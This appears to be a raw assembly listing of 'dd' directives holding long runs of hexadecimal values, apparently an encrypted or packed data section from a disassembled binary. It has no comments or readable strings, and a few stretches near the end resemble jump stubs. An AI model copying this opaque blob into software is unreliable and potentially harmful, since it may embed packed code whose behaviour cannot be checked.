		dd 0B2A06849h, 49A3C741h, 7718B98Ch, 6C0B3BE2h,	0A7941CC5h
		dd 0A3C748B9h, 1FC09349h, 0D8619B89h, 29FC47A2h, 4836E694h
		dd 439CA7D7h, 0FB6C5A22h, 46439CA6h, 0C5E8D273h, 9124573Dh
		dd 6549E528h, 0EB8C1302h, 0EABA6755h, 0B2854194h, 0B740731Ch
		dd 0B14AF184h, 24CD7B10h, 21BA61F4h, 0AA033637h, 439B1EABh
		dd 744AEB03h, 0F07FFC6Fh, 0A1A32453h, 48000010h, 42E97E17h
		dd 3BE27716h, 36DD720Dh, 32D96E07h, 36D166FFh, 9530631Eh
		dd 912C5900h, 902355FCh, 912454FBh, 0D3C12FFCh,	43971F62h
		dd 2CC496ADh, 2CD368F9h, 62D469FCh, 0F48A820Ah,	0A3018406h
		dd 35DCAF47h, 6FCEFEA7h, 0CF27B547h, 0BCA647C0h, 9CD00976h
		dd 0C5533643h, 0B5E1D203h, 0EB081Fh, 2C6C0000h,	0E0C6A1FCh
		dd 0E5343D90h, 0EE8F2656h, 0F48DC047h, 0E5CB814Dh, 2F5F49A3h
		dd 29590298h, 31D871A0h, 0B750F798h, 59A5F54Eh,	15FFF58Fh
		dd 88B7600Eh, 0D20203EDh, 5BE38C33h, 90C24375h,	14AD54F5h
		dd 0E05ADD73h, 677688E3h, 0BEACB49Eh, 47A22584h, 0C2A58E11h
		dd 70B71EC9h, 91E1FD07h, 2812F720h, 18C65B2Eh, 4BB81B95h
		dd 7C663228h, 43D9D159h, 2BBDEA93h, 9C9FCC3Dh, 0A3441743h
		dd 337963FCh, 4195052Bh, 50F98F62h, 48EF841Dh, 37A67C15h
		dd 3F07E7Dh, 0FA253D4h,	18490000h, 1541E87Dh, 103EE57Ah
		dd 0A39E075h, 33DA6Fh, 1D35D065h, 1962F62h, 0FB902D5Ah
		dd 0FA8F2254h, 0EF842353h, 55C6B422h, 0A043971Eh, 0F92CB789h
		dd 28200EA0h, 26F962FBh, 0B147E835h, 0D43DD808h, 9A7915D9h
		dd 0E3EAD4E6h, 0E4790C3Ch, 69FC2C72h, 200E50D3h, 41A25D6Eh
		dd 2C261AA4h, 5943E465h, 0EE89B940h, 0E483AF58h, 1E4CF3FAh
		dd 2555DC83h, 9368FD92h, 17ADA52Dh, 0A2DA7F29h,	84723A47h
		dd 439CCA13h, 54EA8B5Eh, 401496D1h, 2B152CCDh, 0C8B82632h
		dd 52DAB216h, 692EFD92h, 2F98DDF6h, 0C55561h, 23B95AE5h
		dd 7AE477Ah, 8E7C846Eh,	4A11E3CCh, 6FFDA477h, 4CE916BFh
		dd 0C7380CA5h, 12460BC3h, 0E37EB03Fh, 684ED6F9h, 61FAA13Ch
		dd 0CA7A2AC0h, 0BC36BDCh, 0F9E3B646h, 5F33EB3h,	0F0865944h
		dd 0EA801747h, 53DB4C3Ah, 53264001h, 0BB46269h,	575842DDh
		dd 39BA9027h, 0F9F5CC1Fh, 0E9A49CAh, 10410000h,	0D39E075h
		dd 836DD72h, 231D86Dh, 0F82BD267h, 152DC85Dh, 0F98E275Ah
		dd 0F3882552h, 0F2871A4Ch, 0E77C1B4Bh, 4DBEAC1Ah, 9843971Dh
		dd 0FC2CAF81h, 0F2158674h, 8D6049A3h, 149C45ECh, 0C067FE2Eh
		dd 2F08627h, 47A2F254h,	0DB64C1Fh, 0D407EE1h, 0E3E83B20h
		dd 88515842h, 0C2720800h, 0A44BE619h, 59DB210Bh, 76419B91h
		dd 0EC199ACDh, 2C1AB051h, 3D9591BBh, 4F493306h,	9C09D57Ch
		dd 0E03D9591h, 0E97017B2h, 0D0771EB9h, 0CA2D31FFh, 0DE272C2Eh
		dd 2508AE4Fh, 0D700D51Bh, 32DA25BCh, 3E000000h,	0F48A820Ah
		dd 0CC6B9B44h, 5CA28C25h, 47A33688h, 8D36CC9Fh,	4733C85Bh
		dd 439CA6DCh, 0C459EC1Ch, 0A5406D16h
		dd 7A7B65FEh, 8506AD48h, 0DC8h,	9C820AFBh, 0E4F71069h
		dd 7B35135Fh, 0B5A339DAh, 4797B31Fh, 9304F2BAh,	0DE439712h
		dd 2BD46A0Bh, 19C75CFBh, 0FEA54070h, 4A7A7B65h,	0CD7604ABh
		dd 0CA630A9Dh, 4F35BDE0h, 4FE58621h, 8AE0EE61h,	9C320541h
		dd 537C0F3h, 9132CB72h,	0C6F69FA7h, 0C0F0992Fh,	8D343B25h
		dd 7A23CA5Dh, 0E164FAF2h, 0A1A82F1Eh, 0B6E27107h, 0EDD77017h
		dd 6AB235E5h, 43D2CE53h, 600E543Eh, 2B3B8938h, 3B7F8258h
		dd 5483EE4Eh, 0D3FD3h, 20B5E600h, 1DB8E48Bh, 18B3E188h
		dd 14ADDC83h, 0CA5D87Fh, 9C4DC77h, 0FFA63BD6h, 0F79E33D2h
		dd 0F69D32C5h, 0CD9A2FC6h, 1B00715Fh, 344B4397h, 0F27AE762h
		dd 149C49A3h, 6D98861Ch, 264797C1h, 0C77F69A3h,	0AB970097h
		dd 0DFCD63F7h, 4397656Eh, 2FCE6B9h, 0C0F0992Fh,	0B9E99025h
		dd 46CE771Eh, 0F835B84Eh, 6D08344Fh, 36C42DC6h,	0A3CF5ED4h
		dd 24121A04h, 4196C576h, 0EB9BA641h, 29BFF0ABh,	90C1CA3Bh
		dd 0A142153Dh, 0B19D2A00h, 0F625F07Dh, 0CAB75h,	84215200h
		dd 811C48EFh, 7C1745ECh, 781140E7h, 78093CE3h, 753048E3h
		dd 731AAF42h, 6B12A746h, 62099E39h, 31FE9332h, 1B64D5C3h
		dd 98AF4397h, 69FC2CC6h, 6C0B3BC2h, 74113EC5h, 821346CDh
		dd 192770DBh, 4FD9321Dh, 0AEBC4C89h, 0F2F77A19h, 554154BAh
		dd 0A49B8F79h, 0FF000006h, 0F48A820Ah, 21F43971h, 29131B0Bh
		dd 7D0B3321h, 1C24797h,	32933AD5h, 0C98EB82Ah, 45D47503h
		dd 3BD47B16h, 2B5B049Ah, 35D66F9Eh, 2EC9F9A0h, 754EBB87h
		dd 0E8704396h, 27AA5AF0h, 39D06A9h, 0AEA20B35h,	4EA79ACFh
		dd 89377D67h, 4641954Ch, 2ED5709Dh, 0DEB1AB95h,	7A268D08h
		dd 5DDE0DF0h, 0BECh, 2EC36293h,	27BC5B87h, 22B75280h, 1CB14C7Bh
		dd 1AAF4275h, 79AC677Fh, 7FAC53E8h, 78AA51E6h, 71A148DDh
		dd 67441D6h, 971AA718h,	9DBF243h, 0D369FC2Ch, 0E7B57F50h
		dd 96802B16h, 0F26CEF7Dh, 46B7A5C3h, 9149A335h,	2A2355BEh
		dd 36CFFC8Bh, 0B0CF68Fh, 0B2953CDBh, 0CC09CF59h, 0E19AF16h
		dd 5DBh, 0ADDD8636h, 6DA731Ah, 49A39F95h, 57230DE0h, 0A3F27AE7h
		dd 1C149C49h, 0C0B09886h, 14E74797h, 0F525CE7Eh, 3822BB62h
		dd 0DB700737h, 55830434h, 0DA8319BAh, 0C250FAEh, 0C9F5DB63h
		dd 4DEE872Eh, 201BC9B7h, 2FD84196h, 25BE6500h, 986E413Bh
		dd 0F07D5377h, 2D1394C3h, 0D400000Bh, 0D67D12A3h, 0CF760BAAh
		dd 0CA7106A1h, 0C66D029Bh, 0D26D0293h, 39CCFFBAh, 35D0FDA4h
		dd 2CC7F9A0h, 25C0F097h, 6755C390h, 439718F6h, 2C582A41h
		dd 3BC269FCh, 3EC56C0Bh, 0C15C8B0Ch, 0C3F27920h, 19D2832Ah
		dd 0CB240F0Fh, 0BC5A7B7Dh, 0C36C19AEh, 3C68F796h, 24C3B7A1h
		dd 27000005h, 0F48A820Ah, 643D0271h, 0A18B3F03h, 0C9AAB99h
		dd 2ED74797h, 817B6500h, 3F6F18AEh, 3C6C13A8h, 6C55C6B4h
		dd 0CDA04396h, 4CB9852Ch, 6E43966Ch, 0A858EEE6h, 4F39CCFFh
		dd 956C5B09h, 7A8B2641h, 0D870CFAh, 0C9380EAFh,	31F07AF7h
		dd 0A7E8102h, 0F4250000h, 0F925CC61h, 0F422C95Eh, 0EE1DC459h
		dd 0E417BE53h, 921BC51h, 0F58A1B4Eh, 0EF84214Eh, 0E67B1648h
		dd 0E3780F3Fh, 49BAA816h, 94439718h, 0FC2CAB7Dh, 8B34C269h
		dd 0D5D6C05Fh, 5BF624A5h, 0D37A1BB4h, 0E2891C4Ch, 0E58C2B5Bh
		dd 0F78ABD4Ch, 58E69F50h, 8324C1EEh, 0EFF13F98h, 19AEBBE6h
		dd 46EF4h, 75E75800h, 9749A3F2h, 9381170Fh, 4797C0A5h
		dd 0DE871DF0h, 0D36C13B2h, 838E1E9h, 0EC54D76Dh, 7D525CEBh
		dd 8027BAECh, 555C46E7h, 0E9C424A7h, 731D9B84h,	0BD588889h
		dd 0BA4B7E27h, 0BBEB7A13h, 7019321Ch, 6C5AF0E8h, 4196A11Ah
		dd 66F624E5h, 90700778h, 0DE7F523Dh, 27FD9E37h,	0F07D02F0h
		dd 0B59A1B4Ah, 5C000009h, 5E059A2Bh, 57FE9332h,	52F98E29h
		dd 4EF58A23h, 5AF58A1Bh, 0C1548742h, 0BD58852Ch, 0B44F8128h
		dd 0AD48781Fh, 0EFDD4B18h, 4397187Eh, 2CE0B2C9h, 2AD369FCh
		dd 1DB65DF8h, 0E38C1A33h, 95B11AB5h, 0F1AFF51Bh, 4C7C7D67h
		dd 0A86112B9h, 0E580B09Eh, 3845150h, 4D5619AFh,	0BA000001h
		dd 73A1FC2Ch, 0FE8ED3CEh, 31B85F00h, 20D06601h,	0AB14477h
		dd 7C2C9D71h, 0A47749A3h, 62EAB3BAh, 7B24D46Ah,	6C05AC4Bh
		dd 92923C82h, 7A4D47A2h, 629A07D3h, 37C7439Ch, 1EC5608Eh
		dd 0F6409B85h, 0B64BE5F0h, 4CF71Fh, 761F0000h, 6D06AD48h
		dd 820AB783h, 31D8699Ch, 7361F798h, 47A300F1h, 0D6A2491Ch
		dd 439CE069h, 40E77AADh, 49F08BB9h, 8B8B95DEh, 0D1D255E5h
		dd 84234FC2h, 4EDBCB1Bh, 9CCCEF60h, 0C6673A43h,	31B781DCh
		dd 1FB5E4A4h, 9436h, 0FC2C9A00h, 83BC269h, 0F3FC66Dh, 1A4AD178h
		dd 8F6027B3h, 19BA3B8Ch, 74E5D383h, 0BF49A3F0h,	0FFB02ECh
		dd 49A3D5A9h, 0FC2CADDDh, 8829C269h, 821D49F2h,	40C89198h
		dd 3AC4B248h, 75479C2Ah, 30630CA2h, 26590095h, 5848B58Bh
		dd 4B7AFA67h, 86FCAh, 50E51600h, 4DE814BBh, 48E311B8h
		dd 44DD0CB3h, 3CD508AFh, 39F40CA7h, 2FD66B06h, 27CE6302h
		dd 26CD62F5h, 0FDCA5FF6h, 1630A18Fh, 647B4397h,	68F92C92h
		dd 69FC2CD3h, 60FD2AD3h, 2F3620B9h, 7BFC2CBDh, 6E07AE49h
		dd 998737CDh, 49A3F228h, 1FA73A6Ch, 0F38EBD4Ch,	3969F009h
		dd 6068099Eh, 0DE000002h, 0B74A7C25h, 6A8D7710h, 0AB54EAE2h
		dd 0EEF6E07Fh, 0A3056A00h, 4F3D0547h, 439CD4DEh, 0EB55629h
		dd 9CD4D542h, 0C9720243h, 0C25B029Dh, 0D4CD3E2Ch, 4518439Ch
		dd 136005Bh, 6EA12A58h,	0F2932CD3h, 6FC8B24Bh, 1FB5DE66h
		dd 1EC74h, 77E7D800h, 9549A3F2h, 60F7270Dh, 4B3B29BFh
		dd 844797C1h, 2175E6D4h, 0EDC04397h, 0A0360903h, 9B30C7F7h
		dd 9B31C4F4h, 218CFDEBh, 4D74397h, 9B04375h, 0DF6D8670h
		dd 856F0636h, 4CE2DA62h, 96370C5Eh, 0F420C941h,	0A2756F59h
		dd 7D6C7BCCh, 0E76897F0h, 768h,	0B247DE0Fh, 0AB40DF0Bh
		dd 0A63BD604h, 0A035D0FFh, 962BC6F9h, 0F528E3FBh, 0F320C75Ch
		dd 0EC1EC55Ah, 0ED1DC459h, 8AF8C55Ah, 97152B9Ch, 8D5F7643h
		dd 4B7BFC2Ch, 0DD640BACh, 0C2731AADh, 0E1113F09h, 0EA8B2658h
		dd 0C07F5655h, 465D19AEh, 0C1000001h, 6EA1FC2Ch, 0BE92D8E5h
		dd 22CB6102h, 22F15AF3h, 9365843Dh, 23AAC3ADh, 4FD28CF3h
		dd 5BC45D8Ch, 30D1A45Dh, 5D4AD29Bh, 0A3D4FE6Fh,	0D5764949h
		dd 0EBA7513Fh, 0A16247A2h, 503ED46Fh, 439CBBDFh, 0FB6572Ah
		dd 9CBBD643h, 16200343h, 0B5F305D0h, 20D71Fh, 0A3B0000h
		dd 6F48A82h, 47A30184h,	6935DCAFh, 439CE0FCh, 0F6F84629h
		dd 1FB5D0DFh, 0B9FDh, 0FC2C6100h, 75E5487Bh, 2974D5F3h
		dd 0BD56FD9Eh, 97C83927h, 401349A3h, 3E71F89Fh,	4575FCA3h
		dd 54840BB2h, 0A03FA6D3h, 0CBCC267Ch, 6D02A344h, 0A3FB2B81h
		dd 0F5B53849h, 0F9CA55B6h, 29595A44h, 0A830F98Eh, 0A22C1AB0h
		dd 0CF479BECh, 0C65CF926h, 99DC67D8h, 0F5DFB243h, 0E29228FBh
		dd 0F39A535Fh, 97C90B87h, 1BBC55FCh, 64FD3031h,	5CF528CFh
		dd 64F13386h, 1798C7FAh, 628h, 72079ECFh, 6B009FCBh, 66FB96C4h
		dd 60F590BFh, 56EB86B9h, 0B5E8A3BBh, 0B3E0871Ch, 0ACDE851Ah
		dd 0ADDD8419h, 4AB8851Ah, 9713EB5Ch, 4D1F3643h,	0D368F92Ch
		dd 0B74A7C25h, 99CCCCDh, 0FC2C0274h, 0B3BC269h,	0A629D76Ch
		dd 2CF0BC60h, 6F6A5463h, 27h
		dd 69FC2CE5h, 6C0B3BC2h, 0A06E01C5h, 61E74676h,	0F493BF21h
		dd 664BB44Dh, 0F08DBA08h, 6E0FB049h, 2938D9h, 2CAE0000h
		dd 0F6C269FCh, 49A3F288h, 0AA9FA9E2h, 0C53D8127h, 8C76631Ch
		dd 26BC5B8Bh, 0CAB44F7Dh, 39215C3h, 0C10E637Dh,	2CCA9680h
		dd 19C269FCh, 15039991h, 4797C17Fh, 1B1471Ah, 1FF26351h
		dd 7C3D4397h, 2812B34Eh, 0CB60F727h, 0AD48741Dh, 0F392C2C3h
		dd 231BA34Ch, 0EF2C9F8Dh, 8535418Ah, 8A4F2697h,	84B0713Dh
		dd 8A942E9h, 0BB51241Eh, 0B1D85B0Bh, 349719A9h,	4A52C397h
		dd 0CA9D3D8Ah, 0C56C0B3Bh, 1141422Ch, 0A3AE176h, 0DB44F7Dh
		dd 832CD374h, 0C46D03FBh, 0A12FC95h, 89496E1Ch,	9066393Bh
		dd 0EE4E28C3h, 10788B7h, 0A8000005h, 0A249DE77h, 9B42D776h
		dd 963DD26Dh, 9239CE67h, 9631C65Fh, 0F590C37Eh,	0F18CB960h
		dd 0F083B55Ch, 0F184B45Bh, 33218F5Ch, 439713C2h, 2524F60Dh
		dd 1EB63AA2h, 0F988ACA0h, 474832CDh, 44EB8017h,	53DA8114h
		dd 2CDD8423h, 4B7BA573h, 0BD1817ACh, 0B19AF97h,	0EF962F62h
		dd 52786C56h, 0DC000000h, 0F48A820Ah, 34495271h, 0CFB9AC81h
		dd 9605D9C7h, 491C47A2h, 655303B3h, 439C04F4h, 81826C3Fh
		dd 711FB44Fh, 18029BC8h, 9C0567D2h, 0F277A743h,	0E88128C5h
		dd 0D90BB247h, 75F8A83Eh, 0ED2E1C3Ch, 0D4451923h, 1F439CE0h
		dd 0C849624Ch, 450h, 69FC2C3Eh,	6C0B3BC2h, 8E860ED7h, 8600AF8h
		dd 481B47A3h, 0D768D5A1h, 0B295439Ch, 0D7736264h, 36691FB5h
		dd 0CD000000h, 0B5507C25h, 2820A8CBh, 122A492h,	7A4D47A3h
		dd 0E19A07D3h, 0B1DE439Ch, 0B7E66D14h, 0C30C771Eh, 3013B975h
		dd 0D0F5E0E6h, 2AD31FB5h, 80745EF7h, 0F1h, 497C25E4h, 0F264D5C3h
		dd 0DCAF49A3h, 11FB943Bh, 9E45E010h, 0BB51E417h, 2CB2BC38h
		dd 8C9DCA3Dh, 0F92D968Bh, 1E372129h, 737E0D90h,	0F3B95E0h
		dd 0BBA546E1h, 44EB8ABAh, 65FA8DBDh, 0A3C9C379h, 90275749h
		dd 2C8677FAh, 0E235B2E8h, 0E38A2553h, 0B259604Ah, 444D1B82h
		dd 0BDBA95F9h, 44CC751Ch, 0EE95305Eh, 0FF96C655h, 881EBF58h
		dd 0A29EAC9Ah, 862FF747h, 7D16BD58h, 9C8E38A9h,	27E88343h
		dd 20379F5Dh, 89D3EDFh,	29BFB73Fh, 94BFAB3Bh, 6D57F241h
		dd 0EDD8E159h, 8F060782h, 39DAF26Ch, 26590298h,	1C4FF68Bh
		dd 12B2B389h, 6190F07Fh, 33FE0h, 20B5E600h, 1DB8E48Bh
		dd 18B3E188h, 14ADDC83h, 0CA5D87Fh, 9C4DC77h, 0FFA63BD6h
		dd 0F79E33D2h, 0F69D32C5h, 0CD9A2FC6h, 1100715Fh, 344B4397h
		dd 7AF92C62h, 770CAD48h, 7005A0D0h, 8A820AFEh, 18406F4h
		dd 0DCAF47A3h, 6FAEC346h, 6053B018h, 26CF5D76h,	0A54070F7h
		dd 0DAC465FEh, 9C252794h, 0A7715443h, 0B68CB421h, 0FE261Fh
		dd 0CB4E0000h, 0CD7DF709h, 0DFAB9569h, 0C269FC2Ch, 0C66D083Bh
		dd 0A3EF44FAh, 18A8D849h, 0A3EEB92Ah, 0A2310449h, 0A339DA73h
		dd 0A130CDFAh, 9831D873h, 0D000A7AEh, 0C31C9F35h, 0B24583A8h
		dd 0E7C53624h, 3D1049A3h, 0B99B29Ch, 15CB3262h,	0BA8B169h
		dd 0F99239DAh, 7764EC0Fh, 0A37D1889h, 95305C49h, 0FACD55EEh
		dd 6A13C359h, 59CA9E37h, 0A449A37Dh, 0F1DFE7D1h, 47A25E03h
		dd 2798864Eh, 6B439C4Eh, 61FAA13Ch, 487706D9h, 0AE770CADh
		dd 0AA982E26h, 4194B405h, 0AE57EDC0h, 0AE55EA7Bh, 5B14EA7Bh
		dd 27F07FCEh, 22A77F8h,	0A0D10000h, 9DC97005h, 98C66D02h
		dd 92C168FDh, 88BB62F7h, 0A5BD58EDh, 891EB7EAh,	8318B5E2h
		dd 8217AADCh, 770CABDBh, 0DD4E3CAAh, 28439710h,	0F92C3F11h
		dd 0FC2CD368h, 0F82AD369h, 0CA4EA895h, 1EBF438Fh, 0EDF4DE77h
		dd 0E70BC3Fh, 9863DEF0h, 9C2BCC65h, 1EEAD46Dh, 16877525h
		dd 6149A3F2h, 73A3A48Eh, 76A62DD4h, 74A049DFh, 0B2D132D9h
		dd 60621460h, 484F39DAh, 2FD671A1h, 7006FE86h, 0A1F22482h
		dd 5B8E4F47h, 0A79523CAh, 439BF236h, 6C0DAE81h,	887626D6h
		dd 439BF217h, 4ABB8F62h, 87439BF2h, 9BF22899h, 18A07343h
		dd 0BB425B45h, 0C047EE89h, 0C250F792h, 9BF263D4h, 22DBAE43h
		dd 0EC5FDF69h, 7BAB95A3h, 575CC1EEh, 0D73EF711h, 21B657F8h
		dd 42D8D058h, 9A8BAE54h, 5FCE6941h, 0A48FF79h, 47CE7516h
		dd 15D98017h, 0E068B482h, 8D2EC7FAh, 83224EF7h,	0FDA39199h
		dd 0AA3B9365h, 66D5E027h, 0CE37F2DFh, 6853A4F3h, 0F2ECD60Eh
		dd 0D1670231h, 8D7B72E3h, 49EABD37h, 0A41503B3h, 0EF378D7Bh
		dd 842B321Ch, 931AC154h, 981FC661h, 0A32AD16Ch,	6B2FD671h
		dd 5BCE4ED8h, 6A130412h, 0B5B6A03Dh, 945DF285h,	907E140Ch
		dd 358C5532h, 40B19F4Fh, 8B318655h, 13D4CEB8h, 8DBB4AE5h
		dd 11B24BF2h, 14B3E36Ah, 890C026Dh, 93F59595h, 76D1BB93h
		dd 14D45CA8h, 0AB977DB7h, 2CC2637Ah, 84E2E03Eh,	0A3380B2Fh
		dd 871A4CF5h, 0FAF27A9Dh, 0B0A87664h, 0A0732972h, 0A34272F9h
		dd 9E37640Dh, 0D606ADB4h, 0C133CD77h, 22C3419Bh, 0E319AF7Bh
		dd 30705456h, 1AC15487h, 0F23C9781h, 65931444h,	720D3BCAh
		dd 0FC9132CBh, 0FC922555h, 41ED5E4Ch, 7038EDF4h, 0F4421182h
		dd 0E8895CEDh, 0E88F2A59h, 0C54C654Fh, 0CD54FB96h, 0DA61089Bh
		dd 0FE6910ADh, 38AB6BB5h, 0C7F721EFh, 0BFF19A30h, 85333A24h
		dd 3321AFDCh, 0EDF442C2h, 0F2993A0Dh, 3E6E6F59h, 157F00A7h
		dd 0F5000000h, 16877525h, 5349A3F2h, 0A3F1F465h, 0E46C3F49h
		dd 76582711h, 0C36AFB2Ch, 0D2790C3Ch, 0D77E194Bh, 0E38A2350h
		dd 0F198295Ch, 0F79E376Ah, 1A84170h, 0AB14C7Ah,	11B85783h
		dd 59545167h, 4C181h, 0E9830000h, 240C8704h, 0E389535Ch
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 57243489h,	0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 6850241Ch, 6B7B7E8Dh, 0F7954858h
		dd 0D0595D5h, 89718851h, 8B5458C6h, 0C481241Ch,	4, 4C9268h
		dd 24048900h, 4389F089h, 1C8B5808h, 0E6895624h,	4C681h
		dd 0C6830000h, 24348704h, 2434FF5Ch, 4C4835Eh, 0FA9856E9h
		dd 0D86204FFh, 9FE5CF89h, 0B8EF0432h, 60CE4AAh,	0E0FFC503h
		dd 5972E14Bh, 63142A10h, 0DFD543Dh, 3CD05989h, 7C3508EBh
		dd 0EDCh, 0BAE90240h, 6800000Ch, 60CE6D4h, 0FB5C3FE9h
		dd 0E7E568FFh, 35E9060Ch, 68FFFB5Ch, 60CE991h, 0FB5C2BE9h
		dd 0EA1F68FFh, 21E9060Ch, 68FFFB5Ch, 60CEB13h, 0FB5C17E9h
		dd 0ED1068FFh, 0DE9060Ch, 68FFFB5Ch, 60CEDC4h, 0FB5C03E9h
		dd 0EF3B68FFh, 0F9E9060Ch, 68FFFB5Bh, 60CF092h,	0FB5BEFE9h
		dd 0C4938CFFh, 61342BF2h, 0FFD0C88Fh, 9774662Dh, 3308FEC5h
		dd 0DA4E8F61h, 763D0FE4h, 0FD6A883h, 0A970421Bh, 0F20BDDB4h
		dd 0E77ECBB5h, 36778024h, 7A514638h, 8E655A2Fh,	0BD0AF4B1h
		dd 0B68631CCh, 0B188B2D5h, 44391004h, 7C4B226Dh, 2E375A31h
		dd 9D4A273Dh, 8DDAC4A7h, 868631CCh, 7EB3D6A5h, 38E81094h
		dd 5DA8898Ch, 2AB2FA4Bh, 1E66CF80h, 6A4A14EDh, 2A8CF1h
		dd 0F8A50000h, 0F2082B04h, 7E5BC962h, 0E205DCD1h, 0DDA7C3ADh
		dd 7D5E8C38h, 0BBCF2032h, 3BA4802Ah, 56E9C2EBh,	0D661F16Ah
		dd 99000000h, 867C5146h, 0C297E2B1h, 0D7ACF7CCh, 0D4B7DCE2h
		dd 5859C23Ah, 74693E89h, 43C7CB9Dh, 2B863166h, 936E6136h
		dd 362BF2C4h, 0D05B145Fh, 0B98D7754h, 0E08C387Dh, 0E9822DFFh
		dd 34E19E7Bh, 451C6740h, 60AB8478h, 73046689h, 0F486340Ah
		dd 0DD7662E4h, 6433229Dh
		dd 291DCA87h, 3EA25250h, 0F6AE4429h, 0E3B8AED3h, 81544A11h
		dd 31E8B78Ah, 9DFD5E91h, 83DE28B5h, 7200000Ah, 11D8AA79h
		dd 0AE75471Ah, 4C13E5B6h, 0E4AB7D5Ah, 754719EEh, 0F5CAC034h
		dd 8E695C23h, 2801F5BCh, 0C39A8F56h, 0B19BD8F1h, 8024E664h
		dd 46262465h, 0E2A97B50h, 1A2618EDh, 0E4C51966h, 0C1BF8E65h
		dd 955DAEDEh, 9F7C4B08h, 694035E2h, 31B9125Fh, 34321386h
		dd 3C4EBCD3h, 79A3C63Bh, 5BC962C1h, 8AD7C17Eh, 848631CCh
		dd 12F3B98Eh, 2C775245h, 13FD3255h, 8C38DDF7h, 7D62AD8Eh
		dd 84C7219Fh, 577A3EE4h, 2A56A4F5h, 0B0107980h,	69F1BE97h
		dd 0BF36F1h, 0A24F0000h, 9EB4D7ACh, 0BD948936h,	0D4BE9B72h
		dd 8631CC87h, 577C9F80h, 5B408B62h, 94DFBCAEh, 7F759ABDh
		dd 0C94D5FAAh, 0A98631D1h, 5300DDB4h, 683F8A5Bh, 5F541B45h
		dd 7A583D88h, 0A63979B2h, 8113443h, 3A240163h, 8C383266h
		dd 0D17C4E2Fh, 3EDCA5Ah, 8633D261h, 9D5A3718h, 0DB26F9F0h
		dd 0C6BCE104h, 9B481FF1h, 0AE85D0A5h, 9B70668Bh, 0FD06E8E4h
		dd 9BE5729Dh, 972h, 0C7996861h,	64360900h, 2D4A59Dh, 9A6C493Bh
		dd 3608DDD3h, 0B9AF2364h, 584B12E4h, 0F0E4AB7Dh, 897E4517h
		dd 8AC7E0B2h, 24E553A0h, 15135480h, 9E7B5046h, 0DC27FAF1h
		dd 0F1B8E205h, 7C5325FCh, 0E003DACFh, 7A5146CAh, 8E655A2Fh
		dd 7907E5BCh, 0F4D0FC9Fh, 0D9525B7Eh, 7193EE1Ch, 0CDBA12Dh
		dd 9901452Fh, 17F88C38h, 13AE5C3Ah, 8B85FD31h, 2E0C568h
		dd 51D0656Dh, 9FC4E708h, 3A01D3AAh, 0D4916E45h,	29F79DEAh
		dd 92B59680h, 1AADDDEFh, 0D0E0770h, 503AF7B5h, 4EFD703h
		dd 0DB002304h, 763D0FE6h, 7A5FAA81h, 0DBFEDBCDh, 0EFD72979h
		dd 552C2104h, 6B3E350Ah, 82534B20h, 254E6037h, 0E20B1DDDh
		dd 12E7DC82h, 28FD481Bh, 3C135E31h, 0F5CC9E6Dh,	44917B38h
		dd 4504EFD7h, 0D70D5A64h, 250604EFh, 0E2E8DD02h, 8EA4A249h
		dd 552E22A7h, 5A6CB786h, 4F09F06h, 0E694EC75h, 71481AF1h
		dd 8BE60493h, 4C3EA2B2h, 7E4D246Fh, 6C41365Bh, 88D3A275h
		dd 3F29E6A3h, 773A9F2h,	0BB0812F3h, 0BC0773A9h,	0BCAFB8DBh
		dd 610ECBA8h, 734A956Ch, 0BCD2EE50h, 0D4B30D7Ah, 5C3908DFh
		dd 0C0E3BAAFh, 0E640EB96h, 704D1CEFh, 391206B3h, 0B620B416h
		dd 18F9137Fh, 0C5988E3Bh, 2B29F8D1h, 68A53B2Ah,	34D7FAC8h
		dd 737FD222h, 0E63EA707h, 0B316ECC5h, 4996478h,	369C0000h
		dd 0CD428F79h, 62438631h, 0CC90DD3Fh, 0F4458631h, 0B18631DCh
		dd 8631C048h, 31B9B405h, 0C3A1CA86h, 0C944FCE6h, 34158C38h
		dd 0F614597Dh, 3E8815A3h, 7C6h,	1BEDBCB5h, 0B88A5D54h
		dd 5628F9F1h, 0EEC09D8Fh, 8A5C3127h, 0D0377B8h,	0AC9F6638h
		dd 4438FFD1h, 0DDD2996Bh, 0DE1B3406h, 24E3A7F4h, 615FA080h
		dd 2F7A5146h, 926FF576h, 3EB1AEA8h, 0F8CAAB8Ch,	1714F64Bh
		dd 0C246300Dh, 0B3862BF1h, 667488D2h, 0F835871Dh, 2A14F173h
		dd 0DCCE1CD6h, 0DA93DEBFh, 1E08C551h, 0DCC3FDD1h, 9AE7F1D2h
		dd 9BDCC3FDh, 240EEBBAh, 0E2CB3736h, 0C8755233h, 632AFCD3h
		dd 0E0976Eh, 824D59EEh,	738ABF5h, 2E270000h, 0CFC68D5Fh
		dd 6B632AFCh, 0F01C89Ah, 0A3996032h, 0E92AFCCEh, 0D8AA7F75h
		dd 71431E11h, 0BDDB6AAh, 0A6784F44h, 1966508Dh,	1A8024E3h
		dd 0C962DBD9h, 50947E5Bh, 498C38CDh, 7B381D68h,	0F701DACEh
		dd 802ACCAAh, 0CC5DAA94h, 7556802Ah, 4DBD0AFh, 0F013E2B9h
		dd 3CD0D6CBh, 0B0A49B4Dh, 0F4206B3Ah, 0D11E08C5h, 0D2802A8Fh
		dd 7FC7CEF1h, 0F9D64EDDh, 48957F3Ch, 41802A90h,	97DB3D60h
		dd 7E86318Fh, 76C7CB9Dh, 6086318Fh, 0A8944582h,	0BBDE4248h
		dd 310A0C59h, 0DD18F686h, 33BB3C63h, 0E13F6765h, 0A7BAFDC6h
		dd 74F07B84h, 1FF4EA97h, 0E3DDC7FCh, 9F8C3E7Fh,	694035E2h
		dd 0F03D471Eh, 0E98024F5h, 14DE95D9h, 0A776BDC8h, 94876684h
		dd 8D9FEAB9h, 80258643h, 0A47F721Fh, 85CD1F81h,	0D0C58025h
		dd 0E73203FBh, 608A4110h, 3697E2B0h, 6445FA9h, 3A330000h
		dd 0DBD2996Bh, 776F3608h, 1B0DD4A6h, 0AFA56C3Eh, 0F53608DAh
		dd 0E4B68B81h, 7D4F2A1Dh, 17E9C2B6h, 0B2845B50h, 25725C99h
		dd 1E8024E2h, 0C962DFDDh, 0F6437A2Ch, 313ABF0Ch, 0D9D7B886h
		dd 0F95806D1h, 0EAAC60B0h, 0BF9C6B3Ah, 3E7EDBD5h, 82CDAE8Ch
		dd 4E1B8ADh, 0F7105D47h, 28098024h, 3A30DB05h, 6664372Eh
		dd 77AD6C46h, 0EF3A0954h, 8340251Ah, 255C4C99h,	626C4D80h
